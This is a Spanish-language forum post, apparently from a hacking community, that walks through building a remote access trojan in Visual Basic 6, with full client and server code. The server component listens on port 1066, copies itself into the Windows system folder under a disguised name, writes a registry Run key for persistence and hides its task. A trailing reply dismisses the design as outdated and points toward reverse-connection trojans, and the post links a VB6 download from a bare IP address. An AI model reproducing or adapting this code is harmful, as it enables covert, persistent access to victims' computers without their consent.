vamos a crear nuestro primer troyano...
(Code de electro-ooz)...
Bueno comensemo.... (Primero con el Cliente)
Primero abre VB 6, nos vamos a Proyectos>componentes>Microsoft Winsock control 6.0 (sp5) (luego de seleccionarlo van a salir 2 PC's) Pues bien lo vamos agregar a nuestro formulario...
Lo Nombramos a "WS" (Haci yo aprendi)...
Muy bien =)
Ahora agregamos las siguientes cosas:
Dos botones uno lo llamos "CMDConexion" y otro "CMDesconexion" estos ser¡an los botones de conectar y desconectar la conexion con el Server.
Un textbox y lo llamos "IPtxt" que sera¡ para poner la IP de tu victima.
Un label y lo llamamos "SB" que ser¡a para poner los estados- de la conexion
Bueno...
Ya teniendo esto Vamos a escribir este CODE
Codigo:--------------------------------------------------------------------------------Private Sub CMDConexion_Click()
On Error Resume Next
WS.Close 'Necesario para poder conectarnos otra vez si no hemos desconectado
WS.RemoteHost = IPtxt.Text 'Coge la IP de la victima
WS.RemotePort = 1066 'Busca el puerto
WS.Connect 'Necesarios para conectarnos
End Sub
Private Sub WS_Connect()
If (WS.State = sckConnected) Then
SB.Caption = "Electro-ooz XploiTT.Net - Conectado (" & WS.RemoteHostIP & "" 'Pone en un label si estas conectado o no
Caption = "Electro-ooz XploiTT.Net -[ Conectado ]- (" & WS.RemoteHostIP & "" 'Pone el nombre del programa si estas conectado o no y si estas pone la ip de tu victima
End If
End Sub
Private Sub CMDesconexion_Click()
WS.Close 'Cierra la conexión
SB.Caption = "Electro-ooz XploiTT.Net - Idle" 'ya explicado
Caption = "Electro-ooz XploiTT.Net -[ Desconectado ]-" 'ya explicado
End Sub
Private Sub WS_Close()
SB.Caption = "Electro-ooz XploiTT.Net - Cerrando Conexión (" & WS.RemoteHostIP & "" & vbCrLf 'si se cierra el Server sale desconectado
WS.Close 'Cierra la conexión
SB.Caption = "Electro-ooz XploiTT.Net - Esperando conexión ... " & vbCrLf 'si se cierra el Server sale desconectado
Caption = "Electro-ooz XploiTT.Net -[ Desconectado ]-" 'si se cierra el Server sale desconectado
WS.Listen 'Deja a las escucha el puerto
End Sub--------------------------------------------------------------------------------
Bueno ya lo tenemos listo ok?
Ahora con el sever xD
Bueno el Server lo vamos a hacer agregamos el activeX "Microsoft Winsock control 6.0 (sp5)" y lo agregamos al formulario y lo llamamos WS.
Codigo:--------------------------------------------------------------------------------Option Explicit
Private Sub Form_Load()
On Error Resume Next
Dim ejec As String
Dim win
Dim sys
Dim obj
Dim residencia
ws.LocalPort = 1066 'asigna el puerto al winsock
ws.Listen 'deja a la escucha el puerto
'Codigo sado de de hacker net echo por -Xenon-
ejec = App.path
If Right(ejec, 1) <> "\" Then ejec = ejec & "\"
ejec = ejec & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject"
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy ejec, sys & "\nombre1"
Name sys & "\nombre1" As sys & "\nombre2.exe"
Set residencia = CreateObject("WScript.Shell"
residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "nombre3", sys & "\nombre2.exe"
App.TaskVisible = False
End Sub
Private Sub WS_Close()
ws.Close 'Cierra la conexión
ws.Listen 'y deja a la escucha el puerto
End Sub
Private Sub WS_ConnectionRequest(ByVal requestID As Long)
ws.Close 'necesario para aceptar la conexión
ws.Accept requestID 'Necesario para poderse conectar
End Sub--------------------------------------------------------------------------------
Pues ya esta Hay lo tienes Si te das cuenta e Puerto que tiene es el 1066 cambialo... (Si quieres)...
PD: Para descargar VB 6 aqui te dejo un link de descarga directa
Descarga: http://80.32.232.60/programas/visual_basic_6.exe
este code no sirve de nada a menos ke la victima tenga dial up y windows 95 xDDD
ya ke es de conexion directa ... y el xp te mata el proceso .. porke no te deja pasar el firewall ... es por eso ke trojanos como el bifrost .. son de remota inversa
es decir el server se conecta al cliente .. y no al reves (conexion directa)
informate sobre lo ke pasteas .. no pastees pòr juntar post . mas vale calidad ke cantidad .... saludos